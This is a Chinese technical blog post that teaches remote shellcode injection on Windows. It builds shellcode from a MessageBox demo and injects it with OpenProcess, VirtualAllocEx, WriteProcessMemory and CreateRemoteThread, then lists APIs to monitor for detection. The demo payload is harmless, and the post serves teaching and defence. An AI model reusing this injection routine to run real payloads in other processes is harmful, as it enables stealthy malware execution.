远程代码注入shellcode


发布于 2021-10-27


CreateRemoteThread是我认为 windows 中最危险的 api 之一,它可以让一个进程在另外一个进程中创建一个线程。很多木马病毒利用它来做坏事。

CreateRemoteThread通常有两种用法,一是往目标进程中注入某个 dll,这个在《Windows核心编程》中有详细的介绍,我就不赘述了。一种是往目标进程中注入运行一段 shellcode。

注入运行 shellcode 比注入 dll 更加隐蔽,更加难以拦截。因为它没有 dll 文件的存在,一般很难发现。同样实现注入运行 shellcode 比注入 dll 更有一些技术难度。

本文以往目标进程里注入运行一段 shellcode,来介绍这种技术。例子中的shellcode很简单,就是运行在目标进程里,弹出一个 MessageBox。

生成 shellcode

首先是生成我们的 shellcode。shellcode 的 cpp 实现代码如下:

void shellcode_demo(void *params) {
  MessageBoxA(NULL, "hello!", "shellcode", MB_YESNO);
  return;
}

我们编译这段代码,通过 vs 就可以查看到对应的地址、二进制指令、汇编指令代码:

01031100  55                 push        ebp  
01031101  8b ec              mov         ebp,esp  
01031103  6a 04              push        4  
01031105  68 28 31 03 01     push        1033128h  
0103110A  68 34 31 03 01     push        1033134h  
0103110F  6a 00              push        0  
01031111  ff 15 50 30 03 01  call        dword ptr [__imp__MessageBoxA@16 (01033050h)]  
01031117  5d                 pop         ebp  
01031118  c3                 ret  

因为我们shellcode没有被调用,因此不需要010311000103110101031117平衡堆栈相关的指令。

另外,shellcode在目标进程里,直接通过地址指针调用MessageBoxA,因此01031111、也稍微修改一下。

最终改造简化后的 shellcode 的指令就是:

byte shellcode[] = {0x6a, 0x04,                   // push 第四个参数
                    0x68, 0x28, 0x31, 0x03, 0x01, // push 第三个参数
                    0x68, 0x34, 0x31, 0x03, 0x01, // push 第二个参数
                    0x6a, 0x00,                   // push 第一个参数
                    0xb8, 0x15, 0x50, 0x30, 0x03, // mov eax,01033050h
                    0xff, 0xd0,                   // call eax
                    0xc3};                        // ret

远程代码注入

我们通过OpenProcess拿到目标进程的权限:

HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);

shellcode 里面调用MessageBoxA的第二和第三个是字符串参数,它的地址空间还是在当前进程。因此还需要我们在目标进程里为字符串参数分配空间写入。

LPVOID title_address =
    VirtualAllocEx(handle, NULL, strlen(title) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(handle, title_address, (LPVOID)title, strlen(title) + 1, &wrote);

LPVOID message_address = VirtualAllocEx(handle, NULL, strlen(message) + 1,
                                        MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(handle, message_address, (LPVOID)message, strlen(message) + 1, &wrote);

*(LPVOID*)(shellcode + 3) = title_address;
*(LPVOID*)(shellcode + 8) = message_address;

另外我们调用MessageBoxA这个api的地址值也需要更新:

DWORD MessageBoxA_address = (DWORD)GetProcAddress(LoadLibraryA("USER32.DLL"), "MessageBoxA");
*(DWORD*)(code + 15) = MessageBoxA_address;

接下来把 shellcode 写入目标进程:

LPVOID shellcode_address = VirtualAllocEx(handle, NULL, code_size,
                                          MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(handle, shellcode_address, (LPVOID)shellcode, code_size,&wrote);

最后通过CreateRemoteThread在目标进程运行 shellcode:

CreateRemoteThread(handle, NULL, NULL,
                       (LPTHREAD_START_ROUTINE)shellcode_address, NULL, NULL, NULL);

因为 shellcode 里面的一些地址替换成了目标进程里的地址,最终写入目标进程的 shellcode 如下:

0x6a, 0x04,                   // push 第四个参数
0x68, 0x00, 0x00, 0x14, 0x01, // push 第三个参数
0x68, 0x00, 0x00, 0x15, 0x01, // push 第二个参数
0x6a, 0x00,                   // push 第一个参数
0xb8, 0x70, 0x22, 0x28, 0x75, // mov eax,75282270h
0xff, 0xd0,                   // call eax
0xc3                          // ret

分析 shellcode

以上可以看到,构造一段 shellcode 是比较复杂的,需要小心处理不同进程空间的问题。因此一般 shellcode 的逻辑不会太复杂,通常它是注入其他进程是起到一个引导作用。

如何分析一个恶意进程远程代码注入 shellcode?

首先是在 shellcode 进程里监控以下api:

  • CreateRemoteThread、CreateRemoteThreadEx
  • OpenProcess
  • VirtualAlloc、VirtualAllocEx
  • WriteProcessMemory
  • LoadLibraryA、LoadLibraryW、LoadLibraryExA、LoadLibraryExW
  • GetProcAddress

这样我们就能拿到注入 shellcode 的地址。然后再在被注入的进程里跟进地址反汇编这段 shellcode。

此外根据监控 shellcode 进程的GetProcAddress调用情况,大概能够猜到它可能将会调用哪些系统api。

参考

  • Windows核心编程